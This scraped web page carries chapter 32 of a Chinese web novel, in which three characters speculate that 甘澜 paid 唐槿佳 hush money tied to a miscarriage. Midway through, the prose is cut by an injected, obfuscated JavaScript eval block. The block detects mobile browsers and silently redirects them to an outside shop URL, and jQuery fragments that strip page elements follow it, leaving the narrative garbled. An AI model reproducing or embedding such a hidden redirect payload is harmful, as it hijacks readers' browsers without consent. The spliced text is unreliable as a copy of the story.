32. 第三十二章
作品:《这个男人他克我》 有了顾玘泽调查结果的支撑,卢文财杀唐槿佳是冲动杀人的说法,就有些立不住了。
卢文财能为了甘澜试图杀掉顾玘泽,自然也有可能为了她去杀唐槿佳。
但是,理由呢?
现在他们知道的信息,除了多年前甘澜给过唐槿佳十万块钱外,其他的一概不知。
但这笔钱都已经过了这么久,没理由秋后算账,这后知后觉的未免太晚了。
顾玘泽思索片刻,说:“我觉得还是要从最开始查起。”
江舟:“最开始?”
顾玘泽:“比如,甘澜和槿佳什么时候认识的,还有,她为什么要给槿佳这么一大笔钱。”
十万块,对于一个还在上高中的孩子来说,并不是一笔小钱。
“一定有什么原因,让甘澜愿意掏出这钱。”顾玘泽说。
可是能有什么原因?
几人都没有头绪。
已近半夜,三人都没有什么睡意,好不容易事情有了点进展,他们都想尽快查明真相。
许染把银行流水和甘澜的那份资料都摆在面前,来回扫视,试图找出其中的一些关联。
顾玘泽脑子有些乱,干脆拿起笔,在空白的纸上写写画画。
有什么原因能让他给对方一大笔钱?
欠债?借款?合作?还是赠予?
写了很多,顾玘泽把其中的一部分排除了,留下的这些也被他PASS掉了。
首先欠债就不可能,唐槿佳没道理去欠甘澜的钱。更不会是借款,她们之间从没什么交集,唐槿佳根本借不到甘澜的头上。
那是合作?
但一个学生,能和甘澜有什么合作?
赠予就更不可能了,非亲非故的,凭什么给她钱。
写一条划掉一条,顾玘泽觉得他们好像走进了死胡同,对甘澜汇款的这个行为,完全给不出一个合理的解释。
江舟也找不到突破口,他甚至开始去看自己和唐槿佳过去的聊天记录,试图找出一些有用的东西。
可他们的聊天并不多,有很多次在他发完消息之后,唐槿佳便没有回复了。把这几年所有的消息看完,也不过三十分钟就结束了。
江舟熄掉屏幕,他这边没有进展,便去看顾玘泽在做什么。
一张纸上被顾玘泽画得乱七八糟,写的字都看不太清了,江舟眯着眼仔细分辨,才认出他都写了什么。
“没有发现?”
“都说不通。”
“一定还有咱们没留意的地方,再捋一遍吧。”
“好。”
两人计划从头再来,没发现许染也凑了过来。
“这些都被排除了?”她声音很轻。
顾玘泽感觉耳边有风拂过,他脖子僵住,不敢再动了。
“……嗯。”他干巴巴的说。
许染没留意顾玘泽的反应,只细细地看着他写的那些东西,觉得这确实是个不错的思考方向。
知道了给这笔钱的原因,剩下的就好推导了。
就像顾玘泽刚才一样,弄清楚了是卢文财收到的钱,所以他的父亲才会对甘澜——
许染突然怔住了。
她把顾玘泽写的那张纸拉到自己面前,在空白的地方,把他写过的那些又照样重写了一遍。
她怪异的举动让两人都有些不知所以。
顾玘泽摸了摸自己脖子,压下躁动的心跳,试图让自己不要在意刚才突如其来的悸动。
“为什么又写一遍?”他问。
许染写完,把纸往前推了推,让他俩也能看清。
顾玘泽:“这些我刚才都推演过了,不可能的。”
“我知道。”许染说,“只是你还是忘记写了一种情况。”
“哪种?”
许染没答,只是动笔在后面又添上了三个字——封口费。
这是江舟才说过的,所以许染才想了起来。
“如果是这个原因,就能解释很多问题了。”她说。
顾玘泽看了半晌,喃喃:“我怎么把这个忘了。”
甘澜为了钱设计了那么久,不可能不漏一点马脚,被别人发现了破绽,她拿钱堵嘴,太合理不过了。
江舟也是豁然开朗:“对啊!她隐瞒了那么多事,随便一个捅到顾叔那,她想要的富贵生活就会烟消云散。十万买她后半辈子的平稳生活,确实很值。”
顾玘泽同样道:“没错,她那时也不缺钱了,十万对于她来说不是什么大数目。”
两人都好似看到了曙光,可再往下想,却又是一堵墙挡在了面前。
“可是……槿佳到底抓住了她什么把柄?”
兴奋过后,便又是无数的谜团。
好像一个闯关游戏,刚解开了这一轮,下一轮就又在等着,不知道哪里是终点。
许染说:“刚刚看这两份资料,有个地方让我有点在意。”
江舟顿时抬眼:“你说!”
他不清楚许染这是不是女人的第六感,但每次她在意的东西,都对事情有了推动作用。
许染在两份资料上画了重点,让两人看。
“可能只是巧合,但是,时间上是不是挨得太近了?”
唐槿佳的那份银行流水上,2015年5月17日被圈上了重点。甘澜的资料上,她意外流产的时间2015年5月18日,同样被圈上了。
许染:“两件事只差了一天,你们说,这其中会不会有什么关联。”
好似完全不相干的两件事,明面上没有联系,但谁也说不准内里有什么隐情。
几人集思广益,江舟忽然问顾玘泽:“你还记得甘澜是怎么流产的吗?”
“……”顾玘泽一怔,回忆了下,说:“好像……是从楼梯上摔下来的。”
当时甘澜怎么摔下去的谁也没有看到,只听到了她的呼救,下楼才发现她躺在一旁,身下已经见了血。
“你觉得和这个有关系?”顾玘泽问。
江舟说:“我有个大胆的猜想,说了你可别生气。”
顾玘泽轻笑:“随你说,你就算说孩子不是顾韬的,我都不生气。”
“……”
“……”
顾玘泽呼吸一滞。
不会真让他说中了吧?
江舟扯了下嘴角,有些尴尬,但还是说道:“如果甘澜和卢文财多年一直保持着联系,你我都清楚,他们的关系一定不会清白。给槿佳汇款后一天,她就摔下楼梯流产了,是不是太巧了?”
顾玘泽沉吟了片刻,明白了江舟的言外之意。
“所以你认为,槿佳是发现了那个孩子是卢文财的,所以甘澜才给了她这笔钱?”
“嗯,而且我猜甘澜怕这事瞒不住,转天就狠心自己把孩子弄掉了。”
孩子没了,顾韬会难过自责没照顾好她,而且也没了旁人继续拿捏她的证据,一举两得。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880831|189206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
无毒不丈夫,甘澜算是把这句话贯彻到底了。
“这女人……”顾玘泽倒吸口凉气,感慨道:“是我小瞧她了。”
“能对自己都下这种狠手,她真不容小觑。”江舟不由得寒毛直竖。
真要说起来,他见甘澜的次数比顾玘泽还要多,毕竟要经常参加各种聚会,免不了碰面打交道。
在这之前,他可从没发现甘澜竟然是个白切黑,背地里做了那么多事,竟然还能不显山不露水。
“但还有个问题。”许染打断了两人的回忆,提醒他们:“孩子没了,唐槿佳也早就没了拿捏甘澜的把柄,甘澜还有什么理由要杀她?”
“……”
话一出口,直接把这两人问住了。
是啊,这样一来,甘澜就完全没有动机了。
可好不容易抓到这一条线索,两人都不愿意放弃。
江舟支支吾吾的说:“一定是她还有别的把柄,被槿佳发现了……”
顾玘泽也附和着:“嗯,然后槿佳以此为要挟,继续找甘澜要钱。”
许染就看着这俩人胡说八道。
“所有结论都是要有事实依据做支撑的,你们的依据在哪?”
“……”
他们嗫嚅了半天,也没有一个合理的解释,只好沉默以对。
许染:“我不是完全否定你们的说法,但假设总要有个前提,不能凭空猜测吧。”
“你说得对。”顾玘泽长出了一口气,回归理智道:“是我们太激进了。”
这个晚上他们取得了太多进展,基本已经锁定了嫌疑人就是甘澜,以至于他们都想一步到位,尽快把事情查清楚。
警察办案还需要证据,他们却试图仅以臆想破案,确实太荒谬了。
“不过要查这个,也不是没有办法。”许染说,“周俊说过,他看见卢文财在案发现场第一次进去和第二次出来时,手里都拿了一个袋子。”
袋子?
“你们猜,里面会是什么?”许染循循善诱。
既然唐槿佳和甘澜的关系离不开“钱”这个字,里面装着的东西自然是显而易见了。
顾玘泽:“第一次甘澜没有经验,也有可能是事发突然,让她来不及多想。所以直接从银行汇款,才留下了这个破绽。”
江舟:“假如真像我们说的,槿佳一直以此敲诈甘澜,那甘澜如果不想被人她发现和槿佳的交易,那就会尽量不留下痕迹,用现金是最好的办法。”
“这样的话,这一箱钱的来处,也有了解释。”
甘澜用现金堵唐槿佳的嘴,但因为不是正规途径获取,唐槿佳也不敢存入银行,只能放在家里。
逻辑闭环了,但这个结论,还需要事实佐证。
“既然要取现,就一定会留下记录,看来要查查甘澜的银行流水了。”顾玘泽道。
“我来。”江舟当即去联系人了。
等待的时间很难熬,而且还是晚上,没什么事情可做,不知不觉都睡着了。
再一次醒来,是被手机铃声吵醒的。
江舟迷迷糊糊的接听电话,听到对方的答复,瞌睡一下就没了。
“查到了!”他说。
资料发到他手机上,几人立刻开始找甘澜取现的记录。
可实际情况,却是他们始料未及的。
没有。
甘澜十几年的银行流水上,一笔取现的记录都没有。

